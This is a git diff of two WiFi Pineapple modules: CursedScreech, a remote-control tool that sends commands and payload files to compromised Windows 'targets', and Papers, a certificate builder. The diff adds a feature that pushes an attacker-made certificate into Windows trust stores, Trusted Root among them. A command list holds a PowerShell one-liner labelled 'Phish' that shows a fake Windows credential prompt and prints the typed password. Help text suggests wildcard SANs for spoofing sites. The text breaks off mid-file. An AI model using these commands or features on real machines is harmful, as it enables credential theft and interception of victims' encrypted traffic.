diff --git a/CursedScreech/api/module.php b/CursedScreech/api/module.php
index 8791a25..4defeff 100755
--- a/CursedScreech/api/module.php
+++ b/CursedScreech/api/module.php
@@ -64,6 +64,9 @@ if (!empty($_FILES)) {
class CursedScreech extends Module {
public function route() {
switch ($this->request->action) {
+ case 'init':
+ $this->init();
+ break;
case 'depends':
$this->depends($this->request->task);
break;
@@ -140,6 +143,27 @@ class CursedScreech extends Module {
}
}
+ /* ============================ */
+ /* INIT FUNCTIONS */
+ /* ============================ */
+
+ private function init() {
+ if (!file_exists(__LOGS__)) {
+ if (!mkdir(__LOGS__, 0755, true)) {
+ $this->respond(false, "Failed to create logs directory");
+ return false;
+ }
+ }
+
+ if (!file_exists(__API_DL__)) {
+ if (!mkdir(__API_DL__, 0755, true)) {
+ $this->logError("Failed init", "Failed to initialize because the API download directory structure could not be created.");
+ $this->respond(false);
+ return false;
+ }
+ }
+ }
+
/* ============================ */
/* DEPENDS FUNCTIONS */
/* ============================ */
@@ -422,7 +446,7 @@ class CursedScreech extends Module {
$files = scandir(__API_DL__);
$success = true;
foreach ($files as $file) {
- if ($file == "." || $file == "..") {continue;}
+ if (substr($file, 0, 1) == ".") {continue;}
if (!unlink(__API_DL__ . $file)) {
$success = false;
}
@@ -449,7 +473,7 @@ class CursedScreech extends Module {
$files = [];
foreach (scandir(__PAYLOADS__) as $file) {
- if ($file == "." || $file == "..") {continue;}
+ if (substr($file, 0, 1) == ".") {continue;}
$files[$file] = __PAYLOADS__;
}
$this->respond(true, null, $files);
@@ -521,7 +545,7 @@ class CursedScreech extends Module {
$dir = ($type == "error") ? __LOGS__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__);
$contents = array();
foreach (scandir($dir) as $log) {
- if ($log == "." || $log == "..") {continue;}
+ if (substr($log, 0, 1) == ".") {continue;}
array_push($contents, $log);
}
$this->respond(true, null, $contents);
@@ -575,7 +599,7 @@ class CursedScreech extends Module {
$keys = scandir($dir);
$certs = array();
foreach ($keys as $key) {
- if ($key == "." || $key == "..") {continue;}
+ if (substr($key, 0, 1) == ".") {continue;}
$parts = explode(".", $key);
$fname = $parts[0];
diff --git a/CursedScreech/includes/changelog/Version 1.3 b/CursedScreech/includes/changelog/Version 1.3
new file mode 100644
index 0000000..9d5c0de
--- /dev/null
+++ b/CursedScreech/includes/changelog/Version 1.3
@@ -0,0 +1,5 @@
+January 5, 2018
+
+ - Modified hook into Papers to work with the latest release
+ - Added ability to install a certificate on a target Windows machine
+
\ No newline at end of file
diff --git a/CursedScreech/includes/forest/ezcmds b/CursedScreech/includes/forest/ezcmds
index 358600a..11b2bf9 100755
--- a/CursedScreech/includes/forest/ezcmds
+++ b/CursedScreech/includes/forest/ezcmds
@@ -1,4 +1,5 @@
Send File:C:\Temp\
+Install Cert:powershell "Import-Certificate -FilePath $cert -CertStoreLocation $store"
Get PS Version:powershell "$PSVersionTable"
Get SysInfo:powershell "gwmi Win32_QuickFixEngineering | Select Description, HotFixID, InstalledBy, InstalledOn; gwmi Win32_OperatingSystem | Select Caption, ServicePackMajorVersion, OSArchitecture, BootDevice, BuildNumber, CSName, CSDVersion, NumberOfUsers, Version | FL"
Windows PSv3+ Phish:powershell "Get-Credential -User $(whoami).Split('\')[1] -Message 'Windows requires your credentials to continue' | % {Write-Host $_.UserName '->' $_.GetNetworkCredential().password}"
diff --git a/CursedScreech/includes/forest/target.py b/CursedScreech/includes/forest/target.py
index e79eb7e..9fc6fcc 100755
--- a/CursedScreech/includes/forest/target.py
+++ b/CursedScreech/includes/forest/target.py
@@ -1,126 +1,126 @@
-from ssl import *
-from socket import *
-import time
-import os
-
-# Pull settings from file
-settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings"
-targetLogLocation = "/pineapple/modules/CursedScreech/includes/forest/targetlogs/"
-activity_log = priv_key = pub_cer = client_key = client_serial = ""
-settings = {}
-with open(settingsFile, "r") as sFile:
- for line in sFile:
- params = line.strip("\n").split("=")
- if params[0] == "activity_log":
- activity_log = params[1]
- elif params[0] == "kuro_key":
- priv_key = params[1] + ".pem"
- pub_cer = params[1] + ".cer"
- elif params[0] == "target_key":
- client_key = params[1] + ".cer"
- elif params[0] == "client_serial":
- client_serial = params[1]
- else:
- pass
-
-def logActivity(msg):
- with open(activity_log, "a") as log:
- log.write(msg + "\n")
-
-def logReceivedData(data, file):
- with open(targetLogLocation + file, "a+") as tLog:
- tLog.write(data + "\n")
-
-class Target:
- def __init__(self,addr=None,port=None):
- self.addr = addr
- self.port = int(port)
- self.socket = None
- self.msg = ""
- self.recvData = ""
- self.connected = False
- self.lastSeen = time.time()
-
- def secureConnect(self):
- print "[>] Connecting to " + self.sockName()
- logActivity("[>] Connecting to " + self.sockName())
-
- try:
- sck = socket(AF_INET, SOCK_STREAM)
- self.socket = wrap_socket(sck, ssl_version=PROTOCOL_SSLv23, keyfile=priv_key, certfile=pub_cer, cert_reqs=CERT_REQUIRED, ca_certs=client_key)
- self.socket.settimeout(10)
- self.socket.connect((self.addr,self.port))
- self.socket.settimeout(None)
-
- # Fetch the target's certificate to verify their identity
- cert = self.socket.getpeercert()
- if not cert['serialNumber'] == client_serial:
- logActivity("[-] Certificate serial number doesn't match.")
- self.disconnect()
- else:
- print "[+] Connected to " + self.sockName() + " via " + self.socket.version()
- logActivity("[+] Connected to " + self.sockName() + " via " + self.socket.version())
- self.connected = True
-
- except error as sockerror:
- logActivity("[!] Failed to connect to " + self.sockName())
- self.connected = False
-
- def send(self, data):
- if self.isConnected():
-
- if "sendfile;" in data:
- dataParts = data.split(";")
- filePath = dataParts[1]
- storeDir = dataParts[2]
- self.socket.sendall("sendfile;" + os.path.basename(filePath) + ";" + str(os.path.getsize(filePath)) + ";" + storeDir)
- with open(filePath, "rb") as f:
- self.socket.sendall(f.read())
- logActivity("[!] File sent to " + self.sockName())
- else:
- self.socket.sendall(data.encode())
- logActivity("[!] Command sent to " + self.sockName())
- logReceivedData(data, self.addr)
-
-
- def recv(self):
- try:
- d = self.socket.recv(4096)
- self.recvData = d.decode()
-
- if not self.recvData:
- self.disconnect()
- return
-
- logReceivedData(self.recvData, self.addr)
- logActivity("[+] Data received from: " + self.sockName())
-
- except KeyboardInterrupt:
- return
-
- except:
- self.disconnect()
-
- def isConnected(self):
- return self.connected
-
- def sockName(self):
- return self.addr + ":" + str(self.port)
-
- def disconnect(self):
- logActivity("[!] Closing connection to " + self.sockName())
- try:
- self.socket.shutdown(SHUT_RDWR)
- except:
- pass
- self.socket.close()
- self.connected = False
-
- def setPort(self, port):
- self.port = int(port)
-
- def isMissing(self, limit):
- if time.time() - self.lastSeen > limit:
- return True
- else:
+from ssl import *
+from socket import *
+import time
+import os
+
+# Pull settings from file
+settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings"
+targetLogLocation = "/pineapple/modules/CursedScreech/includes/forest/targetlogs/"
+activity_log = priv_key = pub_cer = client_key = client_serial = ""
+settings = {}
+with open(settingsFile, "r") as sFile:
+ for line in sFile:
+ params = line.strip("\n").split("=")
+ if params[0] == "activity_log":
+ activity_log = params[1]
+ elif params[0] == "kuro_key":
+ priv_key = params[1] + ".key"
+ pub_cer = params[1] + ".cer"
+ elif params[0] == "target_key":
+ client_key = params[1] + ".cer"
+ elif params[0] == "client_serial":
+ client_serial = params[1]
+ else:
+ pass
+
+def logActivity(msg):
+ with open(activity_log, "a") as log:
+ log.write(msg + "\n")
+
+def logReceivedData(data, file):
+ with open(targetLogLocation + file, "a+") as tLog:
+ tLog.write(data + "\n")
+
+class Target:
+ def __init__(self,addr=None,port=None):
+ self.addr = addr
+ self.port = int(port)
+ self.socket = None
+ self.msg = ""
+ self.recvData = ""
+ self.connected = False
+ self.lastSeen = time.time()
+
+ def secureConnect(self):
+ print "[>] Connecting to " + self.sockName()
+ logActivity("[>] Connecting to " + self.sockName())
+
+ try:
+ sck = socket(AF_INET, SOCK_STREAM)
+ self.socket = wrap_socket(sck, ssl_version=PROTOCOL_SSLv23, keyfile=priv_key, certfile=pub_cer, cert_reqs=CERT_REQUIRED, ca_certs=client_key)
+ self.socket.settimeout(10)
+ self.socket.connect((self.addr,self.port))
+ self.socket.settimeout(None)
+
+ # Fetch the target's certificate to verify their identity
+ cert = self.socket.getpeercert()
+ if not cert['serialNumber'] == client_serial:
+ logActivity("[-] Certificate serial number doesn't match.")
+ self.disconnect()
+ else:
+ print "[+] Connected to " + self.sockName() + " via " + self.socket.version()
+ logActivity("[+] Connected to " + self.sockName() + " via " + self.socket.version())
+ self.connected = True
+
+ except error as sockerror:
+ logActivity("[!] Failed to connect to " + self.sockName())
+ self.connected = False
+
+ def send(self, data):
+ if self.isConnected():
+
+ if "sendfile;" in data:
+ dataParts = data.split(";")
+ filePath = dataParts[1]
+ storeDir = dataParts[2]
+ self.socket.sendall("sendfile;" + os.path.basename(filePath) + ";" + str(os.path.getsize(filePath)) + ";" + storeDir)
+ with open(filePath, "rb") as f:
+ self.socket.sendall(f.read())
+ logActivity("[!] File sent to " + self.sockName())
+ else:
+ self.socket.sendall(data.encode())
+ logActivity("[!] Command sent to " + self.sockName())
+ logReceivedData(data, self.addr)
+
+
+ def recv(self):
+ try:
+ d = self.socket.recv(4096)
+ self.recvData = d.decode()
+
+ if not self.recvData:
+ self.disconnect()
+ return
+
+ logReceivedData(self.recvData, self.addr)
+ logActivity("[+] Data received from: " + self.sockName())
+
+ except KeyboardInterrupt:
+ return
+
+ except:
+ self.disconnect()
+
+ def isConnected(self):
+ return self.connected
+
+ def sockName(self):
+ return self.addr + ":" + str(self.port)
+
+ def disconnect(self):
+ logActivity("[!] Closing connection to " + self.sockName())
+ try:
+ self.socket.shutdown(SHUT_RDWR)
+ except:
+ pass
+ self.socket.close()
+ self.connected = False
+
+ def setPort(self, port):
+ self.port = int(port)
+
+ def isMissing(self, limit):
+ if time.time() - self.lastSeen > limit:
+ return True
+ else:
return False
\ No newline at end of file
diff --git a/CursedScreech/includes/scripts/testEncrypt.sh b/CursedScreech/includes/scripts/testEncrypt.sh
index 10821e1..bffb14f 100755
--- a/CursedScreech/includes/scripts/testEncrypt.sh
+++ b/CursedScreech/includes/scripts/testEncrypt.sh
@@ -23,7 +23,7 @@ while [ "$#" -gt 0 ]
do
if [[ "$1" == "-k" ]]; then
- KEY="$2.pem"
+ KEY="$2.key"
fi
if [[ "$1" == "-d" ]]; then
KEYDIR="$2"
diff --git a/CursedScreech/js/module.js b/CursedScreech/js/module.js
index 0b7cd89..8f20077 100755
--- a/CursedScreech/js/module.js
+++ b/CursedScreech/js/module.js
@@ -51,6 +51,22 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
$scope.newCmdName = "";
$scope.newCmdCommand = "";
$scope.checkAllTargets = false;
+ $scope.target_installKey = "";
+ $scope.certStores = [
+ {"ID":"Root", "Name":"Trusted Root Certification Authorities"},
+ {"ID":"My", "Name":"Personal"},
+ {"ID":"Remote Desktop", "Name":"Remote Desktop"},
+ {"ID":"Trust", "Name":"Enterprise Trust"},
+ {"ID":"CA", "Name":"Intermediate Certification Authorities"},
+ {"ID":"SmartCardRoot", "Name":"Smart Card Trusted Roots"},
+ {"ID":"TrustedPublisher", "Name":"Trusted Publishers"},
+ {"ID":"TrustedPeople", "Name":"Trusted People"},
+ {"ID":"ClientAuthIssuer", "Name":"Client Authentication Issuers"},
+ {"ID":"eSIM Certification Authorities", "Name":"eSIM Certification Authorities"},
+ {"ID":"Windows Live ID Token Issuer", "Name":"Windows Live ID Token Issuer"},
+ {"ID":"Homegroup Machine Certificates", "Name":"Homegroup Machine Certificates"}
+ ];
+ $scope.selectedCertStore = $scope.certStores[0];
// Panes
$scope.showTargetPane = true;
@@ -62,6 +78,7 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
$scope.uploading = false;
$scope.selectedPayload = "";
$scope.showPayloadSelect = false;
+ $scope.showCertSelect = false;
// Interval vars
$scope.stop;
@@ -313,6 +330,8 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
if ($scope.showPayloadSelect) {
// ex: "sendfile;/pineapple/modules/CursedScreech/includes/payloads/NetCli.exe;C:\Temp\"
cmd = "sendfile;" + $scope.payloadDir + $scope.selectedPayload.fileName + ";" + $scope.targetCommand;
+ } else if ($scope.showCertSelect) {
+ cmd = "sendfile;" + $scope.target_installKey + ";" + getEZCmd("Send File");
} else {
cmd = $scope.targetCommand;
}
@@ -321,7 +340,23 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
action: 'sendCommand',
command: cmd,
targets: checkedTargets
- },function(response){});
+ },function(response){
+
+ // Make a second API call to install the certificate
+ if ($scope.showCertSelect) {
+
+ cmd = $scope.targetCommand.replace("$cert", getEZCmd("Send File") + $scope.target_installKey.split("/").slice(-1)[0]).replace("$store", "'Cert:\\LocalMachine\\" + $scope.selectedCertStore.ID + "'")
+
+ $api.request({
+ module: 'CursedScreech',
+ action: 'sendCommand',
+ command: cmd,
+ targets: checkedTargets
+ },function(response){});
+
+ }
+
+ });
});
function getTargetIndex(sock){
@@ -458,23 +493,27 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
});
$scope.ezCommandChange = (function(){
+ $scope.showPayloadSelect = false;
+ $scope.showCertSelect = false;
if ($scope.selectedCmd === null) {
$scope.targetCommand = "";
- $scope.showPayloadSelect = false;
return;
}
for (key in $scope.ezcmds) {
if ($scope.ezcmds[key] == $scope.selectedCmd) {
if (key == "Send File") {
$scope.showPayloadSelect = true;
- } else {
- $scope.showPayloadSelect = false;
+ } else if (key == "Install Cert") {
+ $scope.showCertSelect = true;
}
}
}
$scope.targetCommand = $scope.selectedCmd;
});
+ function getEZCmd(key) {
+ return $scope.ezcmds[key];
+ }
/* ============================================= */
/* BEGIN KEY FUNCTIONS */
@@ -484,9 +523,15 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
if (type == "kuro") {
$scope.selectKuroKey = true;
$scope.selectTargetKey = false;
+ $scope.selectInstallKey = false;
} else if (type == "target") {
$scope.selectTargetKey = true;
$scope.selectKuroKey = false;
+ $scope.selectInstallKey = false;
+ } else if (type == "install") {
+ $scope.selectInstallKey = true;
+ $scope.selectKuroKey = false;
+ $scope.selectTargetKey = false;
}
$api.request({
module: 'CursedScreech',
@@ -509,6 +554,8 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
$scope.settings_kuroKey = keyPath;
} else if ($scope.selectTargetKey == true) {
$scope.settings_targetKey = keyPath;
+ } else if ($scope.selectInstallKey == true) {
+ $scope.target_installKey = keyPath + ".cer";
}
});
@@ -636,7 +683,7 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
$http.post("/modules/CursedScreech/api/module.php", fd, {
transformRequest: angular.identity,
headers: {'Content-Type': undefined}
- }).success(function(response) {
+ }).then(function(response) {
for (var key in response) {
if (response.hasOwnProperty(key)) {
if (response.key == "Failed") {
@@ -711,6 +758,22 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
$scope.stop = undefined;
});
+ $scope.init = (function(){
+ $api.request({
+ module: 'CursedScreech',
+ action: 'init'
+ },function(response){
+ if (response.success == false) {
+ if (response.message != '') {
+ $scope.getLogs();
+ } else {
+ alert(response.message);
+ }
+ }
+ });
+ });
+
+ $scope.init();
$scope.loadAvailableInterfaces();
$scope.loadSettings();
$scope.loadEZCmds();
diff --git a/CursedScreech/module.html b/CursedScreech/module.html
index d39ea37..783e293 100755
--- a/CursedScreech/module.html
+++ b/CursedScreech/module.html
@@ -234,14 +234,27 @@ $(document).on('mouseenter', '.cs_hoverDanger', function() {
-
| @@ -397,7 +410,7 @@ $(document).on('mouseenter', '.cs_hoverDanger', function() { | |
| - + |
diff --git a/CursedScreech/module.info b/CursedScreech/module.info
index 7c83c87..54cdc2a 100755
--- a/CursedScreech/module.info
+++ b/CursedScreech/module.info
@@ -6,5 +6,5 @@
"tetra"
],
"title": "CursedScreech",
- "version": "1.2"
-}
\ No newline at end of file
+ "version": "1.3"
+}
diff --git a/Papers/api/module.php b/Papers/api/module.php
index 2c5e1a1..9f7f485 100755
--- a/Papers/api/module.php
+++ b/Papers/api/module.php
@@ -10,11 +10,10 @@ define('__CHANGELOGS__', __INCLUDES__ . "changelog/");
define('__HELPFILES__', __INCLUDES__ . "help/");
define('__DOWNLOAD__', __INCLUDES__ . "download/");
define('__UPLOAD__', __INCLUDES__ . "upload/");
+define('__SSL_TEMPLATE__', __SCRIPTS__ . "ssl.cnf");
/*
- Determine the type of file that has been uploaded and move it to the appropriate
- directory. If it's a .zip it is an injection set and will be unpacked. If it is
- an .exe it will be moved to __WINDL__, etc.
+ Import keys
*/
if (!empty($_FILES)) {
$response = [];
@@ -55,6 +54,9 @@ class Papers extends Module
{
public function route() {
switch ($this->request->action) {
+ case 'init':
+ $this->init();
+ break;
case 'checkDepends':
$this->checkDepends();
break;
@@ -105,6 +107,38 @@ class Papers extends Module
break;
}
}
+ private function init() {
+ if (!file_exists(__LOGS__)) {
+ if (!mkdir(__LOGS__, 0755, true)) {
+ $this->respond(false, "Failed to create logs directory");
+ return false;
+ }
+ }
+
+ if (!file_exists(__DOWNLOAD__)) {
+ if (!mkdir(__DOWNLOAD__, 0755, true)) {
+ Papers::logError("Failed init", "Failed to initialize because the 'download' directory structure could not be created");
+ $this->respond(false);
+ return false;
+ }
+ }
+
+ if (!file_exists(__SSLSTORE__)) {
+ if (!mkdir(__SSLSTORE__, 0755, true)) {
+ Papers::logError("Failed init", "Failed to initialize because the 'ssl store' directory structure could not be created");
+ $this->respond(false);
+ return false;
+ }
+ }
+
+ if (!file_exists(__SSHSTORE__)) {
+ if (!mkdir(__SSHSTORE__, 0755, true)) {
+ Papers::logError("Failed init", "Failed to initialize because the 'ssh store' directory structure could not be created");
+ $this->respond(false);
+ return false;
+ }
+ }
+ }
private function checkDepends() {
$retData = array();
exec(__SCRIPTS__ . "checkDepends.sh", $retData);
@@ -159,6 +193,7 @@ class Papers extends Module
}
private function buildCert($paramsObj) {
$certInfo = array();
+ $req = array();
$params = (array)$paramsObj;
$keyName = (array_key_exists('keyName', $params)) ? $params['keyName'] : "newCert";
@@ -174,28 +209,21 @@ class Papers extends Module
if (array_key_exists('bitSize', $params)) {
$certInfo['-b'] = $params['bitSize'];
}
- if (array_key_exists('country', $params)) {
- $certInfo['-c'] = $params['country'];
- }
- if (array_key_exists('state', $params)) {
- $certInfo['-st'] = $params['state'];
- }
- if (array_key_exists('city', $params)) {
- $certInfo['-l'] = $params['city'];
- }
- if (array_key_exists('organization', $params)) {
- $certInfo['-o'] = $params['organization'];
- }
- if (array_key_exists('section', $params)) {
- $certInfo['-ou'] = $params['section'];
- }
- if (array_key_exists('commonName', $params)) {
- $certInfo['-cn'] = $params['commonName'];
- }
- if (array_key_exists('email', $params)) {
- $certInfo['-email'] = $params['email'];
+
+ $req[':C:'] = array_key_exists('country', $params) ? $params['country'] : "US";
+ $req[':ST:'] = array_key_exists('state', $params) ? $params['state'] : "CA";
+ $req[':LOC:'] = array_key_exists('city', $params) ? $params['city'] : "San Jose";
+ $req[':ORG:'] = array_key_exists('organization', $params) ? $params['organization'] : "SecTrust";
+ $req[':OU:'] = array_key_exists('section', $params) ? $params['section'] : "Certificate Issue";
+ $req[':COM:'] = array_key_exists('commonName', $params) ? $params['commonName'] : $keyName;
+
+ if (array_key_exists('sans', $params)) {
+ $req[':SAN:'] = $params['sans'];
}
+ // Generate an OpenSSL config file
+ $certInfo['--config'] = $this->generateSSLConfig($keyName, $req);
+
// Build the argument string to pass to buildCert.sh
foreach ($certInfo as $k => $v) {
$argString .= $k . " \"" . $v . "\" ";
@@ -210,6 +238,9 @@ class Papers extends Module
$this->respond(false, "Failed to build key pair. Check the logs for details.");
return;
}
+
+ // Delete the OpenSSL conf file
+ unlink($certInfo['--config']);
if (array_key_exists('container', $params) || array_key_exists('encrypt', $params)) {
$cryptInfo = array();
@@ -256,6 +287,39 @@ class Papers extends Module
}
$this->respond(true, "Keys created successfully!");
}
+
+ /*
+ Generates an OpenSSL config file based on the passed in requirements ($req)
+ and returns the path to the file.
+ */
+ private function generateSSLConfig($keyName, $req) {
+ $conf = file_get_contents(__SSL_TEMPLATE__);
+
+ foreach ($req as $k => $v) {
+ $conf = str_replace($k, $v, $conf);
+ }
+
+ // Add the common name as a SAN
+ $conf .= "\nDNS.1 = " . $req[':COM:'];
+
+ // Add additional SANs if they were provided
+ if (isset($req[':SAN:'])) {
+ $x = 2;
+ foreach (explode(",", $req[':SAN:']) as $san) {
+
+ // Skip the common name if it was included in the list since
+ // we already added it above
+ if ($san == $req[':COM:']) { continue; }
+
+ $conf .= "\nDNS." . $x . " = " . $san;
+ $x++;
+ }
+ }
+
+ $path = __SCRIPTS__ . hash('md5', $keyName . time()) . ".cnf";
+ file_put_contents($path, $conf);
+ return $path;
+ }
private function loadCertificates() {
$certs = $this->getKeys(__SSLSTORE__);
@@ -268,7 +332,7 @@ class Papers extends Module
$keys = scandir($dir);
$certs = array();
foreach ($keys as $key) {
- if ($key == "." || $key == "..") {continue;}
+ if (substr($key, 0, 1) == ".") {continue;}
$parts = explode(".", $key);
$fname = $parts[0];
@@ -323,7 +387,7 @@ class Papers extends Module
$contents = scandir($keyDir);
$certs = array();
foreach ($contents as $cert) {
- if ($cert == "." || $cert == "..") {continue;}
+ if (substr($cert, 0, 1) == ".") {continue;}
$parts = explode(".", $cert);
$fname = $parts[0];
$type = "." . $parts[1];
@@ -356,7 +420,7 @@ class Papers extends Module
private function clearDownloadArchive() {
foreach (scandir(__DOWNLOAD__) as $file) {
- if ($file == "." || $file == "..") {continue;}
+ if (substr($file, 0, 1) == ".") {continue;}
unlink(__DOWNLOAD__ . $file);
}
$files = glob(__DOWNLOAD__ . "*");
@@ -380,7 +444,7 @@ class Papers extends Module
$msg = "Failed to delete the following files:";
$keyDir = ($keyType == "SSH") ? __SSHSTORE__ : __SSLSTORE__;
foreach (scandir($keyDir) as $cert) {
- if ($cert == "." || $cert == "..") {continue;}
+ if (substr($cert, 0, 1) == ".") {continue;}
if (explode(".",$cert)[0] == $delCert) {
if (!unlink($keyDir . $cert)) {
$res = False;
@@ -527,7 +591,7 @@ class Papers extends Module
$dir = ($type == "error") ? __LOGS__ : __CHANGELOGS__;
$contents = array();
foreach (scandir($dir) as $log) {
- if ($log == "." || $log == "..") {continue;}
+ if (substr($log, 0, 1) == ".") {continue;}
array_push($contents, $log);
}
$this->respond(true, null, $contents);
diff --git a/Papers/includes/changelog/Version 1.5 b/Papers/includes/changelog/Version 1.5
new file mode 100644
index 0000000..c6eb0dd
--- /dev/null
+++ b/Papers/includes/changelog/Version 1.5
@@ -0,0 +1,5 @@
+January 3, 2018 +- Added option to include SANs in certificates +- Changed key output from .pem to .key +- Added default Certificate Info if none is included in the build request +- Fixed a bug where the Certificate Info fields remained after switching to SSH key build mode diff --git a/Papers/includes/help/build.help b/Papers/includes/help/build.help index a4c6349..0af322b 100755 --- a/Papers/includes/help/build.help +++ b/Papers/includes/help/build.help @@ -20,7 +20,12 @@ This value indicates how long the certificate will be valid. A default value of Signature Algorithm -SHA-1 is considered to be too weak these days, or it will be soon enough, so SHA-256 is selected by default. +SHA-1 has officially been broken so SHA-256 is selected by default. + + + +Subject Alternative Names (SAN) +A comma-delimited list of SANs. These are alternative names that will be considered valid when verifying the certificate. For example if you're spoofing multiple sites during a pentest you'll want to add SANs (*.company1.com, *.company2.com, *.com). diff --git a/Papers/includes/scripts/buildCert.sh b/Papers/includes/scripts/buildCert.sh index f87d160..d06d7b8 100755 --- a/Papers/includes/scripts/buildCert.sh +++ b/Papers/includes/scripts/buildCert.sh @@ -23,7 +23,7 @@ help() { echo -e '\t-o,--orgnaization:\t\tOrganization'; echo -e '\t-ou,--organizationalUnit:\tOrganizational Unit'; echo -e '\t-cn,--commonName:\t\tCommon Name'; - echo -e '\t-email,--emailAddress:\t\tEmail Address'; + echo -e '\t--config:\t\t\tOpenSSL config file'; echo ''; } @@ -41,37 +41,37 @@ while [ "$#" -gt 0 ] do if [[ "$1" == "-d" || "$1" == "--days" ]]; then - DAYS="$2"; + DAYS="$2"; fi if [[ "$1" == "-b" || "$1" == "--bitSize" ]]; then - BITSIZE="$2"; + BITSIZE="$2"; fi if [[ "$1" == "-k" || "$1" == "--keyName" ]]; then - KEYNAME="$2"; + KEYNAME="$2"; fi if [[ "$1" == "-sa" || "$1" == "--sigAlgo" ]]; then - SIGALGO="$2"; + SIGALGO="$2"; fi if [[ "$1" == "-c" || "$1" == "--country" ]]; then COUNTRY="$2" fi if [[ "$1" == "-st" || "$1" == "--state" ]]; then - STATE="$2" + STATE="$2" fi if [[ "$1" == "-l" || "$1" == "--locality" ]]; then - LOCALITY="$2" + LOCALITY="$2" fi if [[ "$1" == "-o" || "$1" == "--organization" ]]; then - ORGANIZATION="$2" + ORGANIZATION="$2" fi if [[ "$1" == "-ou" || "$1" == "--organizationalUnit" ]]; then - OU="$2" + OU="$2" fi if [[ "$1" == "-cn" || "$1" == "--commonName" ]]; then - CN="$2" + CN="$2" fi -if [[ "$1" == "-email" || "$1" == "--emailAddress" ]]; then - EMAIL="$2" +if [[ "$1" == "--config" ]]; then + CONF="$2" fi shift @@ -104,14 +104,11 @@ fi if [ -n "$CN" ]; then subj="$subj/CN=$CN"; fi -if [ -n "$EMAIL" ]; then - subj="$subj/emailAddress=$EMAIL"; -fi if [ -n "$subj" ]; then - openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.pem -out $ssl_store$KEYNAME.cer -subj "$subj"; + openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.key -out $ssl_store$KEYNAME.cer -subj "$subj"; else - openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.pem -out $ssl_store$KEYNAME.cer; + openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.key -out $ssl_store$KEYNAME.cer -config $CONF; fi echo "Complete"; diff --git a/Papers/includes/scripts/cfgHelper.py b/Papers/includes/scripts/cfgHelper.py index 90d448a..fb48f51 100755 --- a/Papers/includes/scripts/cfgHelper.py +++ b/Papers/includes/scripts/cfgHelper.py @@ -1,121 +1,121 @@ -# Author: sud0nick -# Date: Apr 2016 - -from subprocess import call -import os - -class ConfigHelper: - - def __init__(self, sslDir = "/etc/nginx/ssl/"): - self.nginxConf = "/etc/nginx/nginx.conf" - self.lines = [f for f in open(self.nginxConf)] - self.ssl_dir = sslDir - self.serverBlockIndex = self.getServerBlockIndex() - self.currentSSLCerts = self.getCurrentSSLCerts() - - - def checkSSLCertsExist(self): - flags = [".pem", ".cer"] - if os.path.isdir(self.ssl_dir): - for file in os.listdir(self.ssl_dir): - for flag in flags: - if flag in file: - flags.remove(flag) - if flags: - return False - else: - return True - - def getCurrentSSLCerts(self): - certs = [] - index = self.serverBlockIndex - for line in self.lines[index:]: - if "ssl_certificate" in line: - i = line.rfind("/") - certs.append(line[i+1:].strip(";\n")) - - return certs - - - def getServerBlockIndex(self): - index = 0 - for line in self.lines: - if ("listen" in line) and not ("80" in line or "443" in line): - return index - index = index + 1 - - return False - - - def checkSSLConfigStatus(self): - index = self.serverBlockIndex - for line in self.lines[index:]: - if "1471 ssl;" in line: - return True - - return False - - - def addSSLConfig(self, keyName): - - # Check if SSL has already been configured for port 1471 - if self.checkSSLConfigStatus(): - return True - - index = 0 - cert = keyName + ".cer" - key = keyName + ".pem" - - with open(self.nginxConf, "w") as out: - for line in self.lines: - if index == self.serverBlockIndex: - line = "\t\tlisten\t1471 ssl;\n" - - if index > self.serverBlockIndex: - if "root /pineapple/;" in line: - self.lines.insert(index + 1, "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" - "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" - "\t\tssl_protocols TLSv1 TLSv1.1 TLSv1.2;\n") - index = index + 1 - out.write(line) - call(["/etc/init.d/nginx", "reload"]) - - return True - - def replaceSSLConfig(self, newKey): - cert = newKey + ".cer" - key = newKey + ".pem" - currentKey = self.currentSSLCerts[0].rsplit(".")[0] - index = 0 - - with open(self.nginxConf, "w") as out: - for line in self.lines: - if index > self.serverBlockIndex: - if (currentKey + ".cer") in line: - line = "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" - - if (currentKey + ".pem") in line: - line = "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" - - index = index + 1 - out.write(line) - - call(["/etc/init.d/nginx", "reload"]) - - - def removeSSLConfig(self): - index = 0 - with open(self.nginxConf, "w") as out: - for line in self.lines: - if index == self.serverBlockIndex: - line = "\t\tlisten\t1471;\n" - - if index > self.serverBlockIndex: - if "ssl_certificate" in line or "ssl_protocols" in line: - continue - - index = index + 1 - out.write(line) - - call(["/etc/init.d/nginx", "reload"]) +# Author: sud0nick +# Date: Apr 2016 + +from subprocess import call +import os + +class ConfigHelper: + + def __init__(self, sslDir = "/etc/nginx/ssl/"): + self.nginxConf = "/etc/nginx/nginx.conf" + self.lines = [f for f in open(self.nginxConf)] + self.ssl_dir = sslDir + self.serverBlockIndex = self.getServerBlockIndex() + self.currentSSLCerts = self.getCurrentSSLCerts() + + + def checkSSLCertsExist(self): + flags = [".key", ".cer"] + if os.path.isdir(self.ssl_dir): + for file in os.listdir(self.ssl_dir): + for flag in flags: + if flag in file: + flags.remove(flag) + if flags: + return False + else: + return True + + def getCurrentSSLCerts(self): + certs = [] + index = self.serverBlockIndex + for line in self.lines[index:]: + if 